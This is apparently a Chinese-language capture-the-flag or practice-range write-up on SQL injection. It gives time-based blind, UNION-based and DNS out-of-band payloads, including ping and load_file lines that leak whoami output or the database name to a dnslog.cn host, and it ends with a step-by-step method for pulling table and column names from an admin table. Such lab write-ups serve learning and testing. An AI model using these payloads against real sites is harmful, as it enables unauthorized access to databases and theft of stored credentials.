sql注入write up

靶场篇

点开页面很明显可以发现一个注入点

通过对其进行测试拼接 and 1=1 发现页面可以正常显示，并且当 and 1=2 时发现页面异常
判断可能是数字型
数字型可以不需要引号闭合，字符型构造的时候需要注意进行引号的闭合

order by 3 页面报错可以得出当前数据库存在两列，同时发现数据库无回显
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
通过使用 if 判断加上 exists 函数来查询是否存在 information_schema.tables 这个表
如果存在会延迟 10 秒
如果不存在会返回数值 1，这个 1 在 if 判断中代表为真，不会影响结果
简单来说就是如果存在 information_schema.tables 这个表那么就会延迟 10 秒，不存在页面会正常执行不会延迟

在执行 linux 系统中执行 ping whoami.i0f4xk.dnslog.cn 因为 whoami 被反引号包裹，所以会先执行
whoami 命令，同理 ping $（whoami）.i0f4xk.dnslog.cn 和上述代码作用相同
但是如果直接在 dns 前添加 whoami 则并不会输出命令
同理在 windos 中，使用 ping % username%..i0f4xk.dnslog.cn 也可以执行命令 g

本人对 dns 泛解析原理还处于似懂非懂，希望有大佬可以详解 dns 外带原理。

?id=1 union select 1,load_file(concat("\\",(select database()),".eoumbx.dnslog.cn\abc")) --+
页面正常但是 dnslog 外带失败

发现 dnslog 无法进行外带，这时候陷入僵突然发现在？id=1 and 1=2 union select 1,2 中竟然有回显顿时豁然开朗 (星际玩家表示很难发现。。。。)
那么直接就？id=1 and 1=2 union select 1,database () 查询到当前表名为 maoshe
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

information_schema 是一种特殊的数据库，它在 SQL 标准中定义，用于存储数据库的元数据，包括数据库、表、列、约束、权限等的信息。

table_schema 为 information_schema.tables 中查询数据库表名函数
columns_name 为 information_schema.columns 中查询数据库列名的函数

?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database () and table_name ="admin" limit 0,1 通过参数偏移查询到 admin 表单中有 id，username 和 password 列

通过查询 information_schema.columns 中的 column_name 列可以反馈 admin 表的列名
当查询表单的名称与当前表单名称相同时，使用 and 进行并操作，table_name= "admin" 也就是上一步查询的 admin 才显示
limit 参数用来进行对结果进行偏移，因为回显只有一个，需要通过 limit x,y 进行调节
从第 x 个开始输出 y 个

知道了表名和列名输出数据就十分容易了

通过网上信息搜索发现可以利用 group_concat（）函数进行数据的大量输出
例如，?id=1 and 1=2 union select 5,group_concat (table_name) from information_schema.tables 可以输出 table_name 的所有数据
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'

接下来简单说一下 sql 注入思路吧

1. 需要找到注入点
2. 进行判断，判断是字符型还是数字型，字符型需要进行适当的引号闭合，数字型不需要
3. 通过 orde by 对字段数进行判断（方便后续对回显点利用）
4. 通过联合报错查询对回显点进行判断（如果无回显就只能进行盲注了）
5. 通过 information_schema.tables 的 table_name 查询表名（可以利用 limit 进行单个查询也可以使用 group_concat 查询）
6. 通过 information_schema.columns 的 cloumn_name 查询列名